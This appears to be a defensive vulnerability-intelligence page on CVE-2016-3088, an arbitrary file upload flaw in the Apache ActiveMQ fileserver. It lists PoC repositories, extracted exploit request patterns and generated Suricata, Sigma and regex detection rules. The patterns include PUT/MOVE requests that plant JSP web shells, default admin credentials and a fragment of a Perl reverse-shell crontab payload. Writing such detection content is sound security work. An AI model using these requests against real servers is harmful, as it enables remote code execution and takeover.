Apache ActiveMQ
Apache ActiveMQ Improper Input Validation Vulnerability
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
- >= 5.0.0, < 5.14.0
Fixed in 5.14.0
from GitHub Security Advisory GHSA-rxqh-fc23-gxp2
Mitigation
Upgrade org.apache.activemq:activemq-client to 5.14.0 or later.
Timeline
Days relative to CVE publicationFirst public PoC 290 days before publication; added to CISA KEV 5.7 years after publication. First PoC: Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution (Exploit-DB, 17 Aug 2015).
PoC repositories
Found on GitHub.9 PoCs · 1 pending · 1 informational · 1 suspicious or fake
PoCs 9
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Ma1Dong/ActiveMQ_putshell-CVE-2016-3088 | 31 Jul 2020 +4.2 y | 15 | PoC |
| pudiding/CVE-2016-3088 | 24 Dec 2020 +4.6 y | 0 | PoC |
| wood03mm/CVE-2016-3088 | 24 Dec 2020 +4.6 y | 0 | PoC |
| cyberaguiar/CVE-2016-3088 | 11 Mar 2021 +4.8 y | 5 | PoC |
| vonderchild/CVE-2016-3088 | 12 Mar 2021 +4.8 y | 0 | PoC |
| cl4ym0re/CVE-2016-3088 | 3 Jul 2021 +5.1 y | 4 | PoC |
| xbfding/XiaoBai_exploit | 4 Sep 2022 +6.3 y | 1 | PoC |
| HeArtE4t3r/CVE-2016-3088 | 16 Jun 2025 +9.0 y | 0 | PoC |
| CyberCTF/vulhub-activemq-cve-2016-3088 | 8 Oct 2026 +10.4 y | 0 | PoC |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| YutuSec/ActiveMQ_Crack | 2 Apr 2022 +5.8 y | 18 | Pending |
Informational 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Catherines77/ActiveMQ-EXPtools | 20 Apr 2026 +9.9 y | 86 | Informational · list |
Suspicious or fake 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Kaizhe/attacker | 2 Oct 2019 +3.3 y | 1 | Fake |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| CVE record (tagged exploit) | 42283 | unknown | 14 Nov 2026 |
| Exploit-DB | Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution | 17 Aug 2015 | 14 Nov 2026 |
| Exploit-DB | ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit) | 29 Jun 2017 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: ActiveMQ web shell upload (exploit/multi/http/apache_activemq_upload_jsp) | 6 Jun 2017 | 14 Nov 2026 |
| nuclei template | nuclei template: Apache ActiveMQ Fileserver - Arbitrary File Write | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 9 PoC reposGET //{var}/admin/test/systemProperties.jsp
- Key headers
Authorization: Basic {var}- PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24- Seen in
- 2 repos: pudiding/CVE-2016-3088, wood03mm/CVE-2016-3088
- Evidence
- pudiding/CVE-2016-3088/cve_2016_3088.py:24 wood03mm/CVE-2016-3088/cve_2016_3088.py:24
MOVE //{var}/fileserver/shell.txt
- Key headers
Destination: file://{var}/webapps/api/shell.jsp- PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24- Seen in
- 2 repos: pudiding/CVE-2016-3088, wood03mm/CVE-2016-3088
- Evidence
- pudiding/CVE-2016-3088/cve_2016_3088.py:37 wood03mm/CVE-2016-3088/cve_2016_3088.py:37
PUT //{var}/fileserver/shell.txt
- Key headers
Authorization: Basic {var}- Body markers
your code- PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24- Seen in
- 2 repos: pudiding/CVE-2016-3088, wood03mm/CVE-2016-3088
- Evidence
- pudiding/CVE-2016-3088/cve_2016_3088.py:31 wood03mm/CVE-2016-3088/cve_2016_3088.py:31
PUT /fileserver/1.txt
- Key headers
Accept: */*Accept-Language: en- Body markers
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if- Ports
- 8161
- PoC User-Agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)- Seen in
- 1 repo: CyberCTF/vulhub-activemq-cve-2016-3088
- Evidence
- CyberCTF/vulhub-activemq-cve-2016-3088/app/README.md:88 CyberCTF/vulhub-activemq-cve-2016-3088/app/README.zh-cn.md:89
PUT /fileserver/2.txt
- Key headers
Accept: */*Accept-Language: en- Body markers
webshell...- Ports
- 8161
- PoC User-Agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)- Seen in
- 1 repo: CyberCTF/vulhub-activemq-cve-2016-3088
- Evidence
- CyberCTF/vulhub-activemq-cve-2016-3088/app/README.md:55 CyberCTF/vulhub-activemq-cve-2016-3088/app/README.zh-cn.md:54
GET /admin/)
- Ports
- 8161
- Seen in
- 1 repo: CyberCTF/vulhub-activemq-cve-2016-3088
- Evidence
- CyberCTF/vulhub-activemq-cve-2016-3088/checks/fileserver.sh:5
GET /admin/webshell.jsp
- Key headers
Authorization: Basic {var}- Seen in
- 1 repo: cyberaguiar/CVE-2016-3088
- Evidence
- cyberaguiar/CVE-2016-3088/exploit_activemq.py:134
GET /fileserver/)
- Ports
- 8161
- Seen in
- 1 repo: CyberCTF/vulhub-activemq-cve-2016-3088
- Evidence
- CyberCTF/vulhub-activemq-cve-2016-3088/checks/fileserver.sh:7
MOVE /fileserver/ant
- Key headers
# 目标移动地址 'accept': */*Accept-Language: en-US;q=0.9,en;q=0.8Destination: file://{var}/ant.jsp- Ports
- 8161
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36- Seen in
- 1 repo: xbfding/XiaoBai_exploit
- Evidence
- xbfding/XiaoBai_exploit/CVE_2016_3088/CVE_2016_3088.py:27
MOVE /fileserver/guo.txt
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Authorization: Basic YWRtaW46YWRtaW4=Cache-Control: max-age=0Destination: file://{var}admin/guo.jspUpgrade-Insecure-Requests: 1- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0- Seen in
- 1 repo: Ma1Dong/ActiveMQ_putshell-CVE-2016-3088
- Evidence
- Ma1Dong/ActiveMQ_putshell-CVE-2016-3088/ActiveMQ_putshell.py:57
MOVE /noharm.txt
- Key headers
Destination: file://{var}/webapps/api/evil.jsp- PoC User-Agent
Googlebot/2.1 ( http://www.googlebot.com/bot.html)- Seen in
- 1 repo: cl4ym0re/CVE-2016-3088
- Evidence
- cl4ym0re/CVE-2016-3088/CVE-2016-3088.py:72
PUT /fileserver/a../../%08/..%08/.%08/%08
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Authorization: Basic YWRtaW46YWRtaW4=Dnt: 1Upgrade-Insecure-Requests: 1- Content-Type
application/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0- Seen in
- 1 repo: Ma1Dong/ActiveMQ_putshell-CVE-2016-3088
- Evidence
- Ma1Dong/ActiveMQ_putshell-CVE-2016-3088/ActiveMQ_putshell.py:25
PUT /fileserver/ant
- Key headers
Accept: */*Accept-Language: en-US;q=0.9,en;q=0.8- Content-Type
application/json- Ports
- 8161
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36- Seen in
- 1 repo: xbfding/XiaoBai_exploit
- Evidence
- xbfding/XiaoBai_exploit/CVE_2016_3088/CVE_2016_3088.py:19
PUT /fileserver/guo.txt
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Authorization: Basic YWRtaW46YWRtaW4=Dnt: 1Upgrade-Insecure-Requests: 1- Body markers
''<=inapplication/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0- Seen in
- 1 repo: Ma1Dong/ActiveMQ_putshell-CVE-2016-3088
- Evidence
- Ma1Dong/ActiveMQ_putshell-CVE-2016-3088/ActiveMQ_putshell.py:44
PUT /fileserver/test/%20/%20
- Body markers
test- Seen in
- 1 repo: cyberaguiar/CVE-2016-3088
- Evidence
- cyberaguiar/CVE-2016-3088/exploit_activemq.py:105
PUT /fileserver/webshell.jsp
- Key headers
Authorization: Basic {var}- Seen in
- 1 repo: cyberaguiar/CVE-2016-3088
- Evidence
- cyberaguiar/CVE-2016-3088/exploit_activemq.py:114
PUT /noharm.txt
- Body markers
""<- PoC User-Agent
Googlebot/2.1 ( http://www.googlebot.com/bot.html)- Seen in
- 1 repo: cl4ym0re/CVE-2016-3088
- Evidence
- cl4ym0re/CVE-2016-3088/CVE-2016-3088.py:64
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^//[^/?#]*/admin/test/systemProperties\.jsp(?:[?#].*)?$
(?i)^//[^/?#]*/fileserver/shell\.txt(?:[?#].*)?$
(?i)^//[^/?#]*/fileserver/shell\.txt(?:[?#].*)?$
(?i)^/fileserver/1\.txt(?:[?#].*)?$
(?i)^/fileserver/2\.txt(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2016-3088 Apache ActiveMQ exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/admin/test/systemProperties.jsp"; http.header; content:"Authorization: Basic "; nocase; reference:url,poc.griffinguard.io/cve/CVE-2016-3088; classtype:web-application-attack; sid:9537179; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2016-3088 Apache ActiveMQ exploit attempt"; flow:established,to_server; http.method; content:"MOVE"; http.uri; content:"/fileserver/shell.txt"; http.header; content:"Destination: file://"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2016-3088; classtype:web-application-attack; sid:9016792; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2016-3088 Apache ActiveMQ exploit attempt"; flow:established,to_server; http.method; content:"PUT"; http.uri; content:"/fileserver/shell.txt"; http.header; content:"Authorization: Basic "; nocase; http.request_body; content:"your code"; reference:url,poc.griffinguard.io/cve/CVE-2016-3088; classtype:web-application-attack; sid:9283778; rev:1;)
alert http any any -> $HOME_NET [8161] (msg:"GG PoC-Monitor CVE-2016-3088 Apache ActiveMQ exploit attempt"; flow:established,to_server; http.method; content:"PUT"; http.uri; content:"/fileserver/1.txt"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; http.request_body; content:"*/1 * * * * root /usr/bin/perl -e 'use Socket|3b|$i=|22|10.0.0.1|22||3b|$p=21|3b|socket(S,PF_INET,SOCK_STREAM,getprotobyname(|22|tcp|22|))|3b|if"; reference:url,poc.griffinguard.io/cve/CVE-2016-3088; classtype:web-application-attack; sid:9584550; rev:1;)
alert http any any -> $HOME_NET [8161] (msg:"GG PoC-Monitor CVE-2016-3088 Apache ActiveMQ exploit attempt"; flow:established,to_server; http.method; content:"PUT"; http.uri; content:"/fileserver/2.txt"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; http.request_body; content:"webshell..."; reference:url,poc.griffinguard.io/cve/CVE-2016-3088; classtype:web-application-attack; sid:9894671; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Apache ActiveMQ exploit attempt (CVE-2016-3088)
id: gg-pocmon-cve-2016-3088-9537179
status: experimental
description: Request pattern taken from public PoCs for CVE-2016-3088. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2016-3088
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/admin/test/systemProperties.jsp'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2016.3088
title: Apache ActiveMQ exploit attempt (CVE-2016-3088)
id: gg-pocmon-cve-2016-3088-9016792
status: experimental
description: Request pattern taken from public PoCs for CVE-2016-3088. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2016-3088
logsource:
category: webserver
detection:
selection:
cs-method: MOVE
cs-uri-stem|contains|all:
- '/fileserver/shell.txt'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2016.3088
title: Apache ActiveMQ exploit attempt (CVE-2016-3088)
id: gg-pocmon-cve-2016-3088-9283778
status: experimental
description: Request pattern taken from public PoCs for CVE-2016-3088. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2016-3088
logsource:
category: webserver
detection:
selection:
cs-method: PUT
cs-uri-stem|contains|all:
- '/fileserver/shell.txt'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2016.3088
title: Apache ActiveMQ exploit attempt (CVE-2016-3088)
id: gg-pocmon-cve-2016-3088-9584550
status: experimental
description: Request pattern taken from public PoCs for CVE-2016-3088. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2016-3088
logsource:
category: webserver
detection:
selection:
cs-method: PUT
cs-uri-stem|contains|all:
- '/fileserver/1.txt'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2016.3088
title: Apache ActiveMQ exploit attempt (CVE-2016-3088)
id: gg-pocmon-cve-2016-3088-9894671
status: experimental
description: Request pattern taken from public PoCs for CVE-2016-3088. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2016-3088
logsource:
category: webserver
detection:
selection:
cs-method: PUT
cs-uri-stem|contains|all:
- '/fileserver/2.txt'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2016.3088